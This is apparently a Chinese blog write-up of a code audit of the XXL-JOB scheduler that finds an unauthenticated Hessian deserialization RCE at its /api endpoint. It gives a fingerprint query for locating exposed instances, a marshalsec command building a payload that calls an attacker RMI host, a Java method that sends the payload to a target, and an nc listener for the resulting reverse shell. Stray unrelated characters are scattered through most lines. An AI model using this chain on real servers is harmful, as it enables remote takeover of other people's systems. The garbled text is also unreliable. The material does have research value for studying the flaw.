某次做項目的時候遇到了XXL-JOB
咏雌,當(dāng)時并未公開任何xxl-job的漏洞换团,于是有了下面的代碼審計悉稠,找到一處API接口的RCE,拿下一個嚴(yán)重漏洞艘包。
一的猛、XXL-JOB簡介
XXL-JOB是一個分布式任務(wù)調(diào)度平臺耀盗,其核心設(shè)計目標(biāo)是開發(fā)迅速、學(xué)習(xí)簡單卦尊、輕量級叛拷、易擴(kuò)展。現(xiàn)已開放源代碼并接入多家公司線上產(chǎn)品線岂却,開箱即用忿薇。簡單來說,xxl-job用于管理分布式任務(wù)躏哩,若任務(wù)的管理功能出現(xiàn)未授權(quán)訪問煌恢,將造成相當(dāng)大的影響。
二震庭、代碼審計
1.下載xxl-job的源碼瑰抵,查看項目的開發(fā)框架、根據(jù)框架特性查找所有的API接口
訪問xxl-job項目地址 器联,查看項目信息:Java語言開發(fā)二汛、maven項目
直接下載并使用IDEA打開,如下:
根據(jù)pom.xml
文件內(nèi)容可以確定拨拓,項目中使用了Spring
肴颊、Freemarker
、Jackson
渣磷、Hessian
婿着、MyBatis
等組件,可以先將上述組件涉及的漏洞列入代碼審計的重點排查對象醋界,包括:EL注入
竟宋、模板注入
、反序列化漏洞
形纺、Sql注入
等
因為該項目使用的是Spring
框架丘侠,因此直接利用Spring
注解查找API接口:@(.*?)Mapping\(
根據(jù)查找到的接口梳理出API地址
/
/toLogin
/login
/logout
/help
/api
/jobcode
/jobcode/save
/jobgroup
/jobgroup/save
/jobgroup/update
/jobgroup/remove
/jobinfo
/jobinfo/pageList
/jobinfo/add
/jobinfo/reschedule
/jobinfo/remove
/jobinfo/pause
/jobinfo/resume
/jobinfo/trigger
/joblog
/joblog/getJobsByGroup
/joblog/pageList
/joblog/logDetailPage
/joblog/logDetailCat
/joblog/logKill
/joblog/clearLog
利用dirsearch
掃描目標(biāo),查找可未授權(quán)訪問的API接口逐样,找到/api
接口
2.利用找到的API接口蜗字,F(xiàn)UZZ目標(biāo)網(wǎng)站,根據(jù)響應(yīng)判斷版本并進(jìn)行代碼審計
在本地啟動xxl-job項目脂新,根據(jù)API接口列表和接口的響應(yīng)判斷出目標(biāo)系統(tǒng)使用1.8
或1.9
版本的系統(tǒng)挪捕,于是切換至1.8版本的代碼開始審計。
代碼審計的三種方法:
- 通讀源碼分析漏洞
- 定向功能分析
- 函數(shù)回溯法
針對通用漏洞争便,第三種方法效率最高级零,利用此方法時,通常搭配白盒工具或代碼編輯器進(jìn)行輔助始花,大概思路是根據(jù)危險方法(Sink方法)反向查找妄讯,判斷sink方法的參數(shù)是否用戶可控;
該方法的核心在于掌握的漏洞觸發(fā)點(sink方法)酷宵,白盒/灰盒相關(guān)工具的實現(xiàn)原理也大都基于函數(shù)回溯法亥贸,因此,白盒的效果基本上都取決于策略浇垦,由于篇幅原因炕置,代碼審計/灰白盒相關(guān)內(nèi)容只做拋磚引玉,不做詳細(xì)介紹男韧。
xxl-job代碼審計List:
-
Spring
框架導(dǎo)致反序列化 -
Freemarker
模板注入 -
Jackson
組件反序列化 -
Hessian
組件導(dǎo)致反序列化 -
MyBatis
導(dǎo)致Sql注入
根據(jù)第一步對API接口的查找朴摊,發(fā)現(xiàn)API接口位于xxl-job-admin
模塊中,可從xxl-job-admin入手此虑;這里甚纲,我直接在整個項目中搜索@RequestBody
,查找可能導(dǎo)致反序列化的API接口朦前,沒有發(fā)現(xiàn)
接下來介杆,查找InputStream接口相關(guān)的反序列化漏洞,直接搜索readObject()
韭寸,尋找是否存在該方法的調(diào)用
找到HessianSerializer
類中存在對HessianInput
類readObject()
方法的調(diào)用春哨,接下來,查找參數(shù)bytes是否外部可控恩伺,于是赴背,查找調(diào)用deserialize
方法的代碼
共找到三處調(diào)用,分別是:
-
xxl-job-core
模塊中的com.xxl.job.core.rpc.netcom.jetty.server.JettyServerHandler#doInvoke
方法 -
xxl-job-core
模塊中的com.xxl.job.core.rpc.netcom.jetty.client.JettyClient#send
方法 -
xxl-job-admin
模塊中的com.xxl.job.admin.controller.JobApiController#doInvoke
方法
由于目標(biāo)系統(tǒng)只對外開放了xxl-job-admin
模塊中的WEB服務(wù)晶渠,因此凰荚,這里以第三處調(diào)用為例進(jìn)行分析,其他兩處調(diào)用可自行跟蹤分析褒脯,均可找到相關(guān)的漏洞浇揩;
查看com.xxl.job.admin.controller.JobApiController#doInvoke
方法的詳情,如下:
private RpcResponse doInvoke(HttpServletRequest request) {
try {
// deserialize request
byte[] requestBytes = HttpClientUtil.readBytes(request);
if (requestBytes == null || requestBytes.length==0) {
RpcResponse rpcResponse = new RpcResponse();
rpcResponse.setError("RpcRequest byte[] is null");
return rpcResponse;
}
RpcRequest rpcRequest = (RpcRequest) HessianSerializer.deserialize(requestBytes, RpcRequest.class);
// invoke
RpcResponse rpcResponse = NetComServerFactory.invokeService(rpcRequest, null);
return rpcResponse;
} catch (Exception e) {
logger.error(e.getMessage(), e);
RpcResponse rpcResponse = new RpcResponse();
rpcResponse.setError("Server-error:" + e.getMessage());
return rpcResponse;
}
}
上述代碼中憨颠,首先利用HttpClientUtil#readBytes
從request請求中獲取byte數(shù)組格式的POST數(shù)據(jù)胳徽,然后驗證byte數(shù)組是否為空,不為空時爽彤,調(diào)用deserialize
方法觸發(fā)Hessian的反序列化养盗;
繼續(xù)跟進(jìn)com.xxl.job.admin.controller.JobApiController#doInvoke
方法的調(diào)用,找到JobApiController#api
方法适篙,該方法中直接將HttpServletRequest
對象傳入doInvoke
方法往核,未進(jìn)行身份驗證,可直接利用/api
接口發(fā)送Hessian
反序列化payload實現(xiàn)RCE嚷节。
@RequestMapping(AdminBiz.MAPPING)
@PermessionLimit(limit=false)
public void api(HttpServletRequest request, HttpServletResponse response) throws IOException {
// invoke
RpcResponse rpcResponse = doInvoke(request);
// serialize response
byte[] responseBytes = HessianSerializer.serialize(rpcResponse);
response.setContentType("text/html;charset=utf-8");
response.setStatus(HttpServletResponse.SC_OK);
//baseRequest.setHandled(true);
OutputStream out = response.getOutputStream();
out.write(responseBytes);
out.flush();
}
三聂儒、火器查找資產(chǎn)的姿勢
發(fā)現(xiàn)該漏洞后虎锚,為了快速找到相關(guān)的資產(chǎn),需要整理指紋衩婚,直接訪問/api
接口發(fā)現(xiàn)響應(yīng)如下:
于是窜护,在火器中搜索HTTP響應(yīng)體,即可找到相關(guān)的資產(chǎn)非春,搜索語法:request.body:"com.xxl.job.core.rpc.codec.RpcResponseS"
柱徙。
四、漏洞利用
此處反序列化漏洞利用需要以下內(nèi)容(以下內(nèi)容均可在火器中直接使用):
-
marshalsec
工具 -
RMI/LDAP
服務(wù)奇昙,用于JNDI
調(diào)用 -
HTTP
服務(wù)护侮,存放惡意class文件 -
VPS
服務(wù)器,用于接收反彈shell
marshalsec中包含Hessian的反序列化payload储耐,直接使用marshalsec創(chuàng)建LDAP的反序列化payload
$ java -cp marshalsec-0.0.3.jar marshalsec.Hessian SpringPartiallyComparableAdvisorHolder "rmi://xxx:1099/Exploit_c844e9060158632367e62ed5f6103b36" > /tmp/d.payload
打開xxl-job-admin
模塊中的單元測試文件com.xxl.job.dao.impl.AdminBizTest
羊初,修改addressUrl
地址為目標(biāo)系統(tǒng)地址
在該文件中添加以下方法,用于發(fā)送payload觸發(fā)漏洞
@Test
public void xxlJobRce() {
try {
byte[] data = getContent("/tmp/d.payload");
ByteArrayInputStream is = new ByteArrayInputStream(data);
HessianInput hi = new HessianInput(is);
hi.readObject();
hi.close();
byte[] responseBytes = HttpClientUtil.postRequest(addressUrl, data);
if (responseBytes == null || responseBytes.length == 0) {
;
}
} catch (Exception e) {
e.printStackTrace();
System.out.println("反序列化過程出錯什湘,錯誤原因:" + e);
}
}
public byte[] getContent(String filePath) throws IOException {
File file = new File(filePath);
long fileSize = file.length();
if (fileSize > Integer.MAX_VALUE) {
System.out.println("file too big...");
return null;
}
FileInputStream fi = new FileInputStream(file);
byte[] buffer = new byte[(int) fileSize];
int offset = 0;
int numRead = 0;
while (offset < buffer.length
&& (numRead = fi.read(buffer, offset, buffer.length - offset)) >= 0) {
offset += numRead;
}
// 確保所有數(shù)據(jù)均被讀取
if (offset != buffer.length) {
throw new IOException("Could not completely read file "
+ file.getName());
}
fi.close();
return buffer;
}
在vps上開啟nc監(jiān)聽7777端口凳忙,拿到shell